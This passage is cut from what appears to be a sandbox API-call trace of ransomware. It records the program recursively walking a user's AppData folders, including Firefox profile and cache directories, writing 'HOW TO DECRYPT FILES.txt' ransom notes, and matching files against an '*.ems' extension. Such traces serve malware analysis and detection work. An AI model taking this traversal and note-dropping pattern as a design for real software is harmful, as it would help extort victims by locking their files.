ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0085.540] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.540] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.540] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.540] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.540] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0085.540] lstrcmpA (lpString1=".", lpString2="Gadgets") returned -1 [0085.540] lstrcmpA (lpString1="..", lpString2="Gadgets") returned -1 [0085.540] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\*.*") returned="*.*" [0085.540] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\", lpString2="Gadgets" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets" [0085.540] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0085.541] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.541] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.541] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.541] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.541] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.541] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0085.541] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x610047, dwReserved1=0x670064, cFileName="Settings.ini", cAlternateFileName="")) returned 1 [0085.541] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0085.541] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Settings.ini") returned -1 [0085.544] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Settings.ini") returned -1 [0085.544] lstrcmpiA (lpString1="", lpString2="Settings.ini") returned -1 [0085.544] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\*.*") returned="*.*" [0085.544] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\" [0085.544] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\") returned="" [0085.544] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\HOW TO DECRYPT FILES.txt" [0085.545] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\how to decrypt files.txt")) returned 0xffffffff [0085.545] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0085.549] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0085.549] CloseHandle (hObject=0x94) returned 1 [0085.549] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\", lpString2="Settings.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" [0085.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini", pszSpec="*.ems") returned 0 [0085.549] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x610047, dwReserved1=0x670064, cFileName="Settings.ini", cAlternateFileName="")) returned 0 [0085.549] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0085.549] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0085.552] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0085.552] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x746e75, dwReserved1=0x3, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0085.552] lstrcmpA (lpString1=".", lpString2="Microsoft Help") returned -1 [0085.552] lstrcmpA (lpString1="..", lpString2="Microsoft Help") returned -1 [0085.552] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.*") returned="*.*" [0085.552] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpString2="Microsoft Help" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" [0085.552] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned 58 [0085.552] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0085.553] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.553] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.553] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.553] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.554] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.554] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0085.554] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0085.554] lstrcmpA (lpString1=".", lpString2="Mozilla") returned -1 [0085.554] lstrcmpA (lpString1="..", lpString2="Mozilla") returned -1 [0085.554] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.*") returned="*.*" [0085.554] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpString2="Mozilla" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla" [0085.554] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla") returned 51 [0085.554] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0085.555] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.555] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.555] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.555] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.555] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0085.555] lstrcmpA (lpString1=".", lpString2="Firefox") returned -1 [0085.555] lstrcmpA (lpString1="..", lpString2="Firefox") returned -1 [0085.555] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*.*") returned="*.*" [0085.555] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\", lpString2="Firefox" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox" [0085.555] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox") returned 59 [0085.556] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0085.557] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.557] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.557] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.557] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.557] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0085.557] lstrcmpA (lpString1=".", lpString2="Profiles") returned -1 [0085.557] lstrcmpA (lpString1="..", lpString2="Profiles") returned -1 [0085.557] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*.*") returned="*.*" [0085.557] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" [0085.558] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 68 [0085.558] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0085.558] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.558] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.558] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.558] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.558] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0085.558] lstrcmpA (lpString1=".", lpString2="silmbjec.default") returned -1 [0085.558] lstrcmpA (lpString1="..", lpString2="silmbjec.default") returned -1 [0085.558] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*") returned="*.*" [0085.558] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\", lpString2="silmbjec.default" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default" [0085.559] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned 85 [0085.559] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0085.562] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.562] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.563] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.563] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.563] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0085.563] lstrcmpA (lpString1=".", lpString2="Cache") returned -1 [0085.563] lstrcmpA (lpString1="..", lpString2="Cache") returned -1 [0085.563] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*") returned="*.*" [0085.563] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", lpString2="Cache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache" [0085.563] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache") returned 91 [0085.563] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0085.567] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.567] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.568] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.568] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.568] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, 